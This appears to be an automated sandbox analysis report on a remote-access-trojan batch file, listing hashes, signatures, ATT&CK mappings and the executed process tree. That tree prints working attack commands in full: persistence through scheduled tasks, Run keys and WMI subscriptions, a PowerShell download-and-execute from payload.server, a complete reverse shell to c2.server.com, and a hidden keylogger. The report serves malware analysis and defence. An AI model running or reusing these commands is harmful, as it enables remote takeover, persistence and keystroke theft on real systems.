Analysis
- max time kernel
149s - max time network
147s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:17
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_96024_014310.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_96024_014310.bat
Resource
win11-20260513-en
General
- Target rat_build_96024_014310.bat
- Size 4KB
- Sample260529-17c1jsb15n
- SHA256 b7afd9994b0d9090881dc0d5969932760274d96f4cc43cc3712b08c04630e29e
- MD5 0694362caaedc1352b8d09f6cea90ae3
- SHA1 906ea49041caa690010e149266a4f7c5fbffd908
- SHA512 ade83ebdd96b2e53f4e8d4673fca5127e53c454ca50cc93a3abdacc1ac0ed8a71995ffb529a187f2e73cd4bd5c74a4738cfd1ac387d66a5791e14e0747f4b206
- SSDEEP 96:8IQeW7VS3P3ZbNhX8INIp8pKljLO7FgF/XiFgZk8mvlo1edy:8p7VudXxNIp8p8jcFgiFgkHl9dy
- TLSH T1B3A1D71797976120E1B03609DA763858536CDEFB1301CADEFE89DCC82E5CE43952D9A3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_96024.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1908 powershell.exe 3136 powershell.exe 788 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_96024 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_96024.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 700 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2984 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3824 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3332 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3136 powershell.exe 3136 powershell.exe 788 powershell.exe 788 powershell.exe 1908 powershell.exe 1908 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3760 WMIC.exe Token: SeSecurityPrivilege 3760 WMIC.exe Token: SeTakeOwnershipPrivilege 3760 WMIC.exe Token: SeLoadDriverPrivilege 3760 WMIC.exe Token: SeSystemProfilePrivilege 3760 WMIC.exe Token: SeSystemtimePrivilege 3760 WMIC.exe Token: SeProfSingleProcessPrivilege 3760 WMIC.exe Token: SeIncBasePriorityPrivilege 3760 WMIC.exe Token: SeCreatePagefilePrivilege 3760 WMIC.exe Token: SeBackupPrivilege 3760 WMIC.exe Token: SeRestorePrivilege 3760 WMIC.exe Token: SeShutdownPrivilege 3760 WMIC.exe Token: SeDebugPrivilege 3760 WMIC.exe Token: SeSystemEnvironmentPrivilege 3760 WMIC.exe Token: SeRemoteShutdownPrivilege 3760 WMIC.exe Token: SeUndockPrivilege 3760 WMIC.exe Token: SeManageVolumePrivilege 3760 WMIC.exe Token: 33 3760 WMIC.exe Token: 34 3760 WMIC.exe Token: 35 3760 WMIC.exe Token: 36 3760 WMIC.exe Token: SeIncreaseQuotaPrivilege 3760 WMIC.exe Token: SeSecurityPrivilege 3760 WMIC.exe Token: SeTakeOwnershipPrivilege 3760 WMIC.exe Token: SeLoadDriverPrivilege 3760 WMIC.exe Token: SeSystemProfilePrivilege 3760 WMIC.exe Token: SeSystemtimePrivilege 3760 WMIC.exe Token: SeProfSingleProcessPrivilege 3760 WMIC.exe Token: SeIncBasePriorityPrivilege 3760 WMIC.exe Token: SeCreatePagefilePrivilege 3760 WMIC.exe Token: SeBackupPrivilege 3760 WMIC.exe Token: SeRestorePrivilege 3760 WMIC.exe Token: SeShutdownPrivilege 3760 WMIC.exe Token: SeDebugPrivilege 3760 WMIC.exe Token: SeSystemEnvironmentPrivilege 3760 WMIC.exe Token: SeRemoteShutdownPrivilege 3760 WMIC.exe Token: SeUndockPrivilege 3760 WMIC.exe Token: SeManageVolumePrivilege 3760 WMIC.exe Token: 33 3760 WMIC.exe Token: 34 3760 WMIC.exe Token: 35 3760 WMIC.exe Token: 36 3760 WMIC.exe Token: SeIncreaseQuotaPrivilege 4416 WMIC.exe Token: SeSecurityPrivilege 4416 WMIC.exe Token: SeTakeOwnershipPrivilege 4416 WMIC.exe Token: SeLoadDriverPrivilege 4416 WMIC.exe Token: SeSystemProfilePrivilege 4416 WMIC.exe Token: SeSystemtimePrivilege 4416 WMIC.exe Token: SeProfSingleProcessPrivilege 4416 WMIC.exe Token: SeIncBasePriorityPrivilege 4416 WMIC.exe Token: SeCreatePagefilePrivilege 4416 WMIC.exe Token: SeBackupPrivilege 4416 WMIC.exe Token: SeRestorePrivilege 4416 WMIC.exe Token: SeShutdownPrivilege 4416 WMIC.exe Token: SeDebugPrivilege 4416 WMIC.exe Token: SeSystemEnvironmentPrivilege 4416 WMIC.exe Token: SeRemoteShutdownPrivilege 4416 WMIC.exe Token: SeUndockPrivilege 4416 WMIC.exe Token: SeManageVolumePrivilege 4416 WMIC.exe Token: 33 4416 WMIC.exe Token: 34 4416 WMIC.exe Token: 35 4416 WMIC.exe Token: 36 4416 WMIC.exe Token: SeIncreaseQuotaPrivilege 4416 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2448 wrote to memory of 3332 2448 cmd.exe 83 PID 2448 wrote to memory of 3824 2448 cmd.exe 85 PID 2448 wrote to memory of 3760 2448 cmd.exe 86 PID 2448 wrote to memory of 4416 2448 cmd.exe 87 PID 2448 wrote to memory of 2080 2448 cmd.exe 88 PID 2448 wrote to memory of 2984 2448 cmd.exe 91 PID 2448 wrote to memory of 700 2448 cmd.exe 94 PID 2448 wrote to memory of 3136 2448 cmd.exe 95 PID 2448 wrote to memory of 788 2448 cmd.exe 96 PID 2448 wrote to memory of 1908 2448 cmd.exe 97 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_96024_014310.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_96024" /tr "C:\Users\Admin\AppData\Local\Temp\_96024.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3332
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_96024" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_96024.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3824
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_96024", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3760
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_96024", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_96024.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4416
-
-
C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_96024.txt2⤵PID:2080
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2984
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_96024.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3136
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:788
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1908
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
- MD5 7a9772bc4c578c1736aa04a056f68da3
- SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
- SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
- TLSH T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhfa3fgs.noc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH